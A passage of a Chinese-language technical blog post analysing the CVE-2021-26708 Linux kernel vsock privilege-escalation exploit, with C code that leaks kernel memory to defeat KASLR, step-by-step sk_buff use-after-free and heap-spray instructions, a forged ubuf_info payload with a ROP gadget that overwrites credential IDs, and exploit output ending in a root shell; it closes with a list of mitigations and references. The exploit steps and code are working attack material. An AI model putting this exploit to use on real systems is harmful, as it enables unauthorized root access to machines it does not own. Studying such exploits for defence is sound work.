#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)

/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu

unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

提权思路cred结构位于专门的cred_jar slab cache,尽管现在能够利用任意堆块释放来释放它,但还是不能控制cred内容。所以目标转向mem_cgroup对象,但是只要一释放该对象,内核立刻崩溃,看来内核中很多地方用到了mem_cgroup对象,接下来考虑一种较老的提权技巧。

7. sk_buff对象的UAF

sk_buff对象:在利用 CVE-2017-2636 的时候,作者将kmalloc-8192对象的 double-free 转化为sk_buff对象的UAF,这里也可以尝试。struct sk_buff表示网络相关的buffer,该对象中的skb_shared_info对象中的destructor_arg可用于劫持控制流,网络数据和skb_shared_info位于相同的内存块(sk_buff.head指向的内存块),在用户空间构造2800字节的网络包就能使 skb_shared_info 被分配在 kmalloc-4k cache中(mem_cgroup也位于kmalloc-4k中)。

步骤

  • 1.创建1个 client socket 和32个 server socket:socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  • 2.用户空间准备 2800 字节的buffer并用memset()填充为 0x42;
  • 3.client 调用sendto()向每个server 发生该buffer,这样就会在kmalloc-4k中创建 sk_buff 对象。注意在每个CPU中都分配sk_buff对象(调用sched_setaffinity());
  • 4.利用任意读来泄露vsock_sock对象的内容(前面已讲过);
  • 5.通过vsock.sk.sk_memcg也即mem_cgroup对象的地址来计算sk_buff对象的地址,可能是mem_cgroup地址加上 4096(也就是下一个kmalloc-4k);
  • 6.利用任意读来泄露sk_buff对象的内容(前面已讲过);
  • 7.如果网络包中含有0x4242424242424242lu,则找到了真正的sk_buff,跳转到步骤8;否则,对刚才计算出来的sk_buff地址再加上4096,跳转到第6步;
  • 8.开启32个线程来调用setxattr() & userfaultfd()sk_buff进行堆喷,然后用pthread_barrier栅栏拦住;
  • 9.利用任意堆块释放来释放sk_buff对象;
  • 10.调用pthread_barrier_wait()放开栅栏,唤醒这32个堆喷线程,调用setxattr()来覆盖skb_shared_info对象;
  • 11.对 server socket调用 recv() 来接收网络消息 。

如果接收到skb_shared_info被覆盖的sk_buff,内核就会执行skb_shared_info.destructor_arg->callback函数,可以对内核进行任意写并且提权。具体步骤如下。

注意:对sk_buff对象的UAF是这个exp中最不稳定的一步,你也可以找找有没有其他更好的内核对象,能够分配到kmalloc-*中且可以用来将UAF转化为内核内存的任意读写。

8.利用skb_shared_info对象进行任意写

准备payload来覆盖sk_buff对象skb_shared_info结构位于堆喷数据的 SKB_SHINFO_OFFSET - 3776 偏移处,skb_shared_info.destructor_arg指针指向 struct ubuf_info 对象,伪造的ubuf_info结构放在网络包的MY_UINFO_OFFSET - 256偏移处。由于sk_buff的地址已知,所以这是可以实现的。

说明:之前研究CVE-2017-2636的时候,由于不能把ubuf_info放进内核,只能放在用户空间,所以无法绕过SMAP,现在能够泄露sk_buff对象的地址,那么就能够将伪造的ubuf_info放进内核,就能绕过SMAP了。

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET   3776
#define MY_UINFO_OFFSET     256
#define SKBTX_DEV_ZEROCOPY  (1 << 3)

void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;       // uaf_write_value 是什么?

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);   // 伪造 ubuf_info 结构的地址——用户空间

payload结构如下所示:

4-1-skb_payload.png

ubuf_info结构构造如下:由于作者在vmlinuz-5.10.11-200.fc33.x86_64中没有找到合适的pivot_gadget,所以就发明了一种奇怪的任意写原语,并且能够"one shot" !

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

任意写callback函数指针指向一个ROP gadget,RDI保存了callback的第一个参数(也就是ubuf_info结构的地址),所以RDI+8指向ubuf_info.desc,这个gadget能将ubuf_info.desc赋值给RDX。现在RDX存着有效的user IDgroup ID的地址-1,这个-1很重要,当gadget将RSI中的qword 1写入RDX指向的内存时,uidgid就会被覆盖为0。然后对uidgid重复该步骤,就能成功提权。

以下是exp的输出,能够展现整个利用的流程:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

9.可能的缓解措施

  • (1)开启SLAB_QUARANTINE机制就能防止本漏洞被利用,因为竞争条件的时间很短,详情可参考文章Linux kernel heap quarantine versus use-after-free exploits
  • (2)grsecurity提供的MODHARDEN patch 可以防止内核模块被非法用户自动加载;
  • (3)将/proc/sys/vm/unprivileged_userfaultfd设置为0就能阻断堆喷,只有特权用户(如SYS_CAP_PTRACE)才能调用userfaultfd()
  • (4)kernel.dmesg_restrict sysctl设置为1就能阻断从内核日志泄露信息,可以限制非法用户通过dmesg读取内核日志;
  • (5)CFI可以阻止执行ROP gadget,详情请参考 Linux Kernel Defence Map
  • (6)未来的Linux内核版本将支持 ARM Memory Tagging Extension (MTE) ,可以缓解ARM中的UAF;
  • (7)传说grsecurity有个终极武器叫做AUTOSLAB,可能可以根据对象类型来将内核对象分配到单独的slab cache中,这样就无法堆喷了;
  • (8)Kees Cook指出将panic_on_warn sysctl设置为1就能打乱利用,原本的提权程序只能导致拒绝服务。

参考

Four Bytes of Power: exploiting CVE-2021-26708 in the Linux kernel Zer0Con 2021 talk slides

Linux 内核 AF_VSOCK 套接字条件竞争漏洞(CVE-2021-26708)分析

Linux vsock internals

VSOCK: VM host socket with minimal configuration

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,757评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,478评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,540评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,593评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,903评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,329评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,659评论 2 309
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,383评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,055评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,337评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,864评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,227评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,820评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,999评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,750评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,365评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,260评论 2 258

推荐阅读更多精彩内容